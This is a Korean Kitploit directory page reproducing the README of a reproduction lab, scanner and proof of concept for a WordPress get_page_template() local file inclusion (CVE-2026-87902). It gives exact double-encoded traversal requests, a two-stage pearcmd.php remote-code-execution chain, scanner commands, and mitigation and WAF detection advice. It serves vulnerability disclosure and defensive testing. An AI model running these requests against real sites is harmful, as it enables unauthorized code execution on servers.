Skip to content
KitploitKITPLOIT
도구익스플로잇블로그
제출
도구익스플로잇블로그
제출

해킹, 침투 테스트 및 사이버 보안 도구를 당신의 보안 무기고에!

Kitploit은 해킹, 사이버 보안 및 침투 테스트 도구 디렉토리입니다. 최신 프로젝트 업데이트를 발견하여 취약점을 찾고, 시스템을 분석하고, 테스트를 자동화하고, 보안을 강화하세요.

··피드·문의·개인정보·© 2026 Kitploit

도구 디렉토리

카테고리

모든 카테고리 보기
Loading categories
cve-2026-87902-wordpress-lfi-lab — CVE-2026-87902 / GHSA-7hp8-65ch-5whp 재현 랩 + URL 목록 스캐너 + PoC — WordPress get_page_template() 비인증 LFI에서 조건부 RCE로 이어지는 취약점 (WP 4.7.0-7.1.1, 7.1.2에서 수정됨). 허가된/방어적 테스트. | Kitploit
도구/GitHubGitHub/dinosn/cve-2026-87902-wordpress-lfi-lab
Vulnerability ScannersWeb Vulnerability ScannersVulnerability AnalysisExploitationWeb Application ExploitationWeb SecurityPenetration TestingLearning & Education
Payload Development
Labs & Practice
GitHubdinosn/cve-2026-87902-wordpress-lfi-lab

cve-2026-87902-wordpress-lfi-lab

CVE-2026-87902 / GHSA-7hp8-65ch-5whp 재현 랩 + URL 목록 스캐너 + PoC — WordPress get_page_template() 비인증 LFI에서 조건부 RCE로 이어지는 취약점 (WP 4.7.0-7.1.1, 7.1.2에서 수정됨). 허가된/방어적 테스트.

저장소 보기
371일 전아직 검토되지 않음

인기

모두 보기 →

커뮤니티에서 가장 많이 사용되는 도구를 찾아보세요.

모든 도구 탐색

도구 컬렉션을 둘러보세요

모든 도구 보기 →
공유

CVE-2026-87902 / GHSA-7hp8-65ch-5whp — WordPress get_page_template() 인증되지 않은 LFI → 조건부 RCE

재현 랩 + URL 목록 스캐너 + PoC, Docker 랩에서 실제 WordPress 7.1.1 (취약) 및 **7.1.2 (패치됨)**을 대상으로 구축 및 엔드투엔드 검증 완료.

  • 권고문: https://github.com/WordPress/wordpress-develop/security/advisories/GHSA-7hp8-65ch-5whp
  • 유형: CWE-98 include/require에 대한 파일명 부적절 제어 (경로 순회 → 로컬 PHP 포함)
  • 영향 범위: WordPress 4.7.0 – 7.1.1 (7.1.2 및 브랜치별 백포트: 7.0.6, 6.9.9, 6.8.10 … 4.7.37에서 수정됨)
  • 인증: 없음. CVSS 4.0: 9.2 (AV:N/AC:L/AT:P/PR:N/UI:N/VC:H/VI:H/VA:H)
  • 전제 조건: (1) 활성 테마에 page-*라는 최상위 디렉터리가 존재 (예: page-templates/ — Twenty Twelve, Twenty Fourteen, Neve, Hestia, Sydney에 존재); (2) RCE에 한해: 읽을 수 있는 및 .
pearcmd.php
register_argc_argv=On

1. 근본 원인 (7.1.1 vs 7.1.2 소스 대조 검증)

wp-includes/template.php :: get_page_template()는 공격자가 제어하는 pagename 쿼리 변수로부터 템플릿 후보를 생성하면서 validate_file()을 사용하지 않습니다:

root@kitploit:~
// WordPress 7.1.1 (VULNERABLE)
if ( $pagename ) {
    $pagename_decoded = urldecode( $pagename );
    if ( $pagename_decoded !== $pagename ) {          // <-- no validate_file()
        $templates[] = "page-{$pagename_decoded}.php";
    }
    $templates[] = "page-{$pagename}.php";
}
root@kitploit:~
// WordPress 7.1.2 (PATCHED) — the guard the sibling $template branch already had, + realpath containment
if ( $pagename_decoded !== $pagename && 0 === validate_file( $pagename_decoded ) ) {
    $templates[] = "page-{$pagename_decoded}.php";
}
// plus new _wp_is_template_path_allowed() enforcing the resolved path stays inside a theme root

그런 다음 locate_template()이 file_exists($theme_dir . '/' . $candidate)를 수행하고 일치하는 파일을 include합니다. 후보가 page-{...}.php이므로, 페이로드는 page-로 시작하는 실제 테마 디렉터리를 이어가야 하며(예: page-templates/), 그런 다음 ../로 탈출하여 읽을 수 있는 임의의 .php에 도달해야 합니다.

이중 인코딩이 필수입니다. get_query_var('pagename')은 PHP에 의해 이미 한 번 디코딩되어 있으므로, 평범한 ../는 urldecode($pagename) === $pagename을 만들어 취약한 분기를 건너뜁니다. 이중 인코딩된 %252e%252e%252f는 첫 번째 디코딩 후 %2e%2e%2f로 살아남고, 추가 urldecode()에 의해서만 ../로 변환됩니다 — 이것이 바로 버그입니다.


2. 랩 (lab/)

Docker 호스트에서 보안 수정만 다른 실제 릴리스를 나란히 배치:

서비스URL (루프백 전용)WordPress역할
wp-vulnhttp://127.0.0.1:80917.1.1취약
wp-patchedhttp://127.0.0.1:80927.1.2패치된 대조군
db—MySQL 8.4공유 (두 개의 데이터베이스)

기본 이미지 wordpress:php8.3-apache (pearcmd.php와 register_argc_argv=On이 이미 포함됨), 번들 코어를 정품 wordpress-7.1.1.zip / 7.1.2.zip으로 교체. Twenty Fourteen이 활성화되어 있고 (실제 page-templates/), 활성 테마에 page-templates/ 픽스처도 생성됩니다. 게시된 페이지 id = 2 (Sample Page).

root@kitploit:~
# on the docker lab host
cd /tmp/cve-2026-87902-lab
./up.sh        # build + install both instances (idempotent)
./down.sh      # tear down + remove volumes

포트는 127.0.0.1에만 바인딩됩니다 — 취약한 인스턴스는 네트워크에 노출되지 않습니다.


3. 스캐너 / PoC (poc/cve-2026-87902-scan.py)

Python 3, 표준 라이브러리만 사용 (pip install 불필요). URL 목록을 받아 어느 것이 취약한지 보고합니다. 기본 스캔은 비파괴적입니다: 읽기 전용 코어 파일 wp-links-opml.php를 포함시키고 결과 OPML 문서를 찾습니다 — 임의 .php 포함이 발동했다는 증거이며, 쓰기나 상태 변경이 없습니다.

root@kitploit:~
# single URL
./cve-2026-87902-scan.py http://target/

# a list of your assets, JSON report, 20 workers
./cve-2026-87902-scan.py -f urls.txt --threads 20 --json report.json

# from stdin, only show vulnerable/possibly rows
cat urls.txt | ./cve-2026-87902-scan.py --stdin -q

대상 분류 방법

  1. 핑거프린트 WordPress + 버전 (meta generator → feed <generator> → wp-links-opml.php → readme.html → /wp-includes/ 에셋 ?ver=).
  2. 탐색 유효한 게시된 페이지 id (REST /wp/v2/pages, ?rest_route= 폴백, 홈페이지 page-id-N, 기본 page_id=2) — 요청이 Page로 해석되어 get_page_template()이 실행되기 위해 필요합니다.
  3. OPML 오라클 스윕: segment × depth (기본 segment templates, depth 4,3,5,6,7)에 대해 page_id=<id>&pagename=<double-encoded ../ → wp-links-opml>을 전송하고 (POST, canonical 리다이렉트 회피), HTTP 200과 함께 <opml version="1.0"> + 구조적 보조 마커 (</opml> / <outline / <dateCreated>)를 요구합니다.
  4. 네거티브 컨트롤 (인과 증명): 히트 시, 보장된 존재하지 않는 .php를 가리키는 동일한 요청을 재전송합니다. OPML이 여전히 나타나면 OPML은 주변 환경(프록시 / 캐시 / 피드 앱)에 의한 것이지 우리의 include가 아니므로 → POSSIBLY로 강등됩니다. 컨트롤이 깨끗한 히트만 VULNERABLE입니다.

견고성: 하위 디렉터리 경로 보존 (http://host/blog), gzip/deflate 및 특이한 문자셋 처리, 전송 오류 시 프로브 1회 재시도, 페이지 id 탐색/검증 (REST → ?rest_route= → 홈페이지 → 기본값), 대상별 시간 예산 적용, 저신뢰 버전 소스 (에셋 ?ver= / readme.html)로는 NOT_VULNERABLE을 단정하지 않음 — 이들은 POSSIBLY로 강등됩니다.

판정의미
VULNERABLEOPML 오라클 발동 — LFI 확인됨 (확정적)
NOT_VULNERABLE패치된 브랜치 버전, 또는 4.7.0–7.1.1 범위 밖 버전
POSSIBLY_VULNERABLE취약/알 수 없는 버전이지만 오라클 침묵 (아마 page-* 테마 디렉터리 없음, 비표준 레이아웃, 또는 탐색 가능한 페이지 id 없음) — 수동 확인 필요
NOT_WORDPRESS / ERRORWP 지표 없음 / 전송 실패

종료 코드: VULNERABLE이 하나라도 있으면 2, POSSIBLY가 있고 (VULNERABLE은 없으면) 1, 그 외 0.

유용한 플래그: --segments, --depths, --method {POST,GET,both}, --page-id, --max-pageids, --max-time (대상별 예산), --timeout, --threads, --proxy, --header, --insecure (TLS 끄기 — 개발 전용), --json, --jsonl. 하위 디렉터리에 설치된 WordPress의 경우 전체 베이스를 전달하세요 (예: https://host/blog); Bedrock/wp/ 내 코어의 경우 스윕은 wp/ 접두사가 붙은 오라클 대상도 시도합니다.

RCE 에스컬레이션 (선택적, 랩 사용)

root@kitploit:~
./cve-2026-87902-scan.py http://target/ --verify-rce --i-have-authorization --page-id 2

PEAR pearcmd.php 체인을 실행합니다: +로 분할된 쿼리 문자열이 config-create argv를 전달하여 /tmp 아래에 따옴표 없는 마커 .php를 작성하고, 두 번째 요청이 이를 포함합니다. 실행된 마커 + php_uname() + uid를 출력합니다. 대상에 파일을 작성 → 단일 대상, --i-have-authorization 필요, 기본 비활성화.


4. 증거 (evidence/)

파일증명 내용
manual-validate.sh / ev-lfi.logOPML 오라클이 7.1.1에서 발동 (depth 4, POST 및 GET), 7.1.2에서는 침묵; depth 4만 작동; 단일 인코딩 실패
rce-validate.sh / ev-rce.log7.1.1에서 전체 PEAR RCE (uid=33, www-data, depth 7); 패치된 버전은 파일을 작성하지 않고 아무것도 실행하지 않음
ev-scan-table.log / ev-scan-results.json{vuln, patched, non-WP, dead}에 대한 스캐너: VULNERABLE / NOT_VULNERABLE / NOT_WORDPRESS / ERROR

입증된 요청 형태:

root@kitploit:~
LFI (detection, non-destructive):
  POST /?page_id=2&pagename=templates%252f%252e%252e%252f%252e%252e%252f%252e%252e%252f%252e%252e%252fwp-links-opml
  -> 200 with <opml version="1.0"> in the body   (depth 4 = webroot on /var/www/html)

RCE (conditional; register_argc_argv=On + readable pearcmd.php):
  Stage 1  POST /?+config-create+/<?=...chr()-built payload...?>+/tmp/x.php
           body: page_id=2&pagename=templates%252f(%252e%252e%252f x7)usr%252flocal%252flib%252fphp%252fpearcmd
  Stage 2  POST /?page_id=2&pagename=templates%252f(%252e%252e%252f x7)tmp%252fx
           -> body contains the executed marker + php_uname() + uid=33

5. 완화 조치

  • WordPress를 7.1.2로 업데이트하세요 (또는 해당 브랜치의 수정 릴리스: 7.0.6, 6.9.9, 6.8.10, … 4.7.37).
  • 심층 방어: 웹 SAPI에 대해 PHP register_argc_argv=Off를 설정하고 pearcmd.php를 제거/차단하세요; LFI에 도달 가능하더라도 RCE 에스컬레이션이 제거됩니다.
  • 탐지/WAF: 파라미터 키와 값 (및 중복 파라미터)을 완전히 URL 디코딩한 후, ..를 포함하는 모든 pagename을 차단하세요; 사이트 루트 또는 /index.php에서 page_id + templates%252f로 시작하거나 %252e%252e를 포함하는 pagename의 동시 출현은 거의 확실한 익스플로잇 신호입니다.

승인된 보안 테스트, 교육, 방어적 연구 목적으로만 사용하세요.

도구 다운로드